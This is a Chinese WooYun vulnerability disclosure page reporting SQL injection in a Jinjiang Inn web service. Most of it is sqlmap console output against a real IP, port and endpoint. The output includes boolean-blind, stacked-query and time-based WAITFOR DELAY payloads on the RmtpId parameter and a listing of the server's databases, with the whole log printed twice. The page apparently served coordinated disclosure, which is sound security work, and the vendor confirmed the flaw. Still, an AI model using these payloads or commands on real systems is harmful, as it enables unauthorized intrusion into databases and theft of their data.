当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145496

漏洞标题:锦江之星某站SQL注射漏洞(涉及多库)

相关厂商:锦江之星旅馆有限公司

漏洞作者: 残废

提交时间:2015-10-09 11:30

修复时间:2015-11-23 13:18

公开时间:2015-11-23 13:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-09: 细节已通知厂商并且等待厂商处理中
2015-10-09: 厂商已经确认,细节仅向厂商公开
2015-10-19: 细节向核心白帽子及相关领域专家公开
2015-10-29: 细节向普通白帽子公开
2015-11-08: 细节向实习白帽子公开
2015-11-23: 细节向公众公开

简要描述:

RT

详细说明:

http://120.204.232.131:8089/GetUnit.aspx?RmtpId=0001&service=api_getUnitRmtp&UnitId=0001


参数
Rmtp

C:\Documents and Settings\Administrator\桌面\pentest\sqlmap-dev>sqlmap.py -u "12
0.204.232.131:8089/GetUnit.aspx?RmtpId=0001&service=api_getUnitRmtp&UnitId=0001"
--is-dba
_
___ ___| |_____ ___ ___ {1.0-dev-02b3eb9}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:39:06
[10:39:06] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:39:06] [INFO] testing connection to the target URL
[10:39:06] [INFO] heuristically checking if the target is protected by some kind
of WAF/IPS/IDS
[10:39:07] [INFO] it appears that the target is not protected
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: RmtpId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: RmtpId=0001' AND 9360=9360 AND 'xUPD'='xUPD&service=api_getUnitRmtp
&UnitId=0001
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: RmtpId=0001'; WAITFOR DELAY '0:0:5'--&service=api_getUnitRmtp&UnitI
d=0001
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: RmtpId=0001' WAITFOR DELAY '0:0:5'--&service=api_getUnitRmtp&UnitId
=0001
---
[10:39:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
[10:39:07] [INFO] testing if current user is DBA
[10:39:10] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
current user is DBA: False
[10:39:10] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\120.204.232.131'
[*] shutting down at 10:39:10
C:\Documents and Settings\Administrator\桌面\pentest\sqlmap-dev>sqlmap.py -u "12
0.204.232.131:8089/GetUnit.aspx?RmtpId=0001&service=api_getUnitRmtp&UnitId=0001"
--dbs
_
___ ___| |_____ ___ ___ {1.0-dev-02b3eb9}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:39:17
[10:39:18] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:39:18] [INFO] testing connection to the target URL
[10:39:18] [INFO] heuristically checking if the target is protected by some kind
of WAF/IPS/IDS
[10:39:18] [INFO] it appears that the target is not protected
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: RmtpId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: RmtpId=0001' AND 9360=9360 AND 'xUPD'='xUPD&service=api_getUnitRmtp
&UnitId=0001
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: RmtpId=0001'; WAITFOR DELAY '0:0:5'--&service=api_getUnitRmtp&UnitI
d=0001
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: RmtpId=0001' WAITFOR DELAY '0:0:5'--&service=api_getUnitRmtp&UnitId
=0001
---
[10:39:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
[10:39:18] [INFO] fetching database names
[10:39:18] [INFO] fetching number of databases
[10:39:18] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[10:39:18] [INFO] retrieved: 6
[10:39:19] [INFO] retrieved: distribution
[10:39:42] [INFO] retrieved: JJWEB
[10:39:51] [INFO] retrieved: master
[10:40:04] [INFO] retrieved: model
[10:40:10] [INFO] retrieved: msdb
[10:40:18] [INFO] retrieved: t
[10:40:54] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
empdb
available databases [6]:
[*] distribution
[*] JJWEB
[*] master
[*] model
[*] msdb
[*] tempdb
[10:41:03] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\120.204.232.131'
[*] shutting down at 10:41:03


aaa.png


漏洞证明:

http://120.204.232.131:8089/GetUnit.aspx?RmtpId=0001&service=api_getUnitRmtp&UnitId=0001


参数
Rmtp

C:\Documents and Settings\Administrator\桌面\pentest\sqlmap-dev>sqlmap.py -u "12
0.204.232.131:8089/GetUnit.aspx?RmtpId=0001&service=api_getUnitRmtp&UnitId=0001"
--is-dba
_
___ ___| |_____ ___ ___ {1.0-dev-02b3eb9}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:39:06
[10:39:06] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:39:06] [INFO] testing connection to the target URL
[10:39:06] [INFO] heuristically checking if the target is protected by some kind
of WAF/IPS/IDS
[10:39:07] [INFO] it appears that the target is not protected
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: RmtpId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: RmtpId=0001' AND 9360=9360 AND 'xUPD'='xUPD&service=api_getUnitRmtp
&UnitId=0001
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: RmtpId=0001'; WAITFOR DELAY '0:0:5'--&service=api_getUnitRmtp&UnitI
d=0001
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: RmtpId=0001' WAITFOR DELAY '0:0:5'--&service=api_getUnitRmtp&UnitId
=0001
---
[10:39:07] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
[10:39:07] [INFO] testing if current user is DBA
[10:39:10] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
current user is DBA: False
[10:39:10] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\120.204.232.131'
[*] shutting down at 10:39:10
C:\Documents and Settings\Administrator\桌面\pentest\sqlmap-dev>sqlmap.py -u "12
0.204.232.131:8089/GetUnit.aspx?RmtpId=0001&service=api_getUnitRmtp&UnitId=0001"
--dbs
_
___ ___| |_____ ___ ___ {1.0-dev-02b3eb9}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:39:17
[10:39:18] [INFO] resuming back-end DBMS 'microsoft sql server'
[10:39:18] [INFO] testing connection to the target URL
[10:39:18] [INFO] heuristically checking if the target is protected by some kind
of WAF/IPS/IDS
[10:39:18] [INFO] it appears that the target is not protected
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: RmtpId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: RmtpId=0001' AND 9360=9360 AND 'xUPD'='xUPD&service=api_getUnitRmtp
&UnitId=0001
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: RmtpId=0001'; WAITFOR DELAY '0:0:5'--&service=api_getUnitRmtp&UnitI
d=0001
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: RmtpId=0001' WAITFOR DELAY '0:0:5'--&service=api_getUnitRmtp&UnitId
=0001
---
[10:39:18] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
[10:39:18] [INFO] fetching database names
[10:39:18] [INFO] fetching number of databases
[10:39:18] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[10:39:18] [INFO] retrieved: 6
[10:39:19] [INFO] retrieved: distribution
[10:39:42] [INFO] retrieved: JJWEB
[10:39:51] [INFO] retrieved: master
[10:40:04] [INFO] retrieved: model
[10:40:10] [INFO] retrieved: msdb
[10:40:18] [INFO] retrieved: t
[10:40:54] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
empdb
available databases [6]:
[*] distribution
[*] JJWEB
[*] master
[*] model
[*] msdb
[*] tempdb
[10:41:03] [INFO] fetched data logged to text files under 'C:\Documents and Sett
ings\Administrator\.sqlmap\output\120.204.232.131'
[*] shutting down at 10:41:03


aaa.png


修复方案:

你懂得

版权声明:转载请注明来源 残废@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-10-09 13:16

厂商回复:

已确认并提交技术人员处理,谢谢提醒

最新状态:

暂无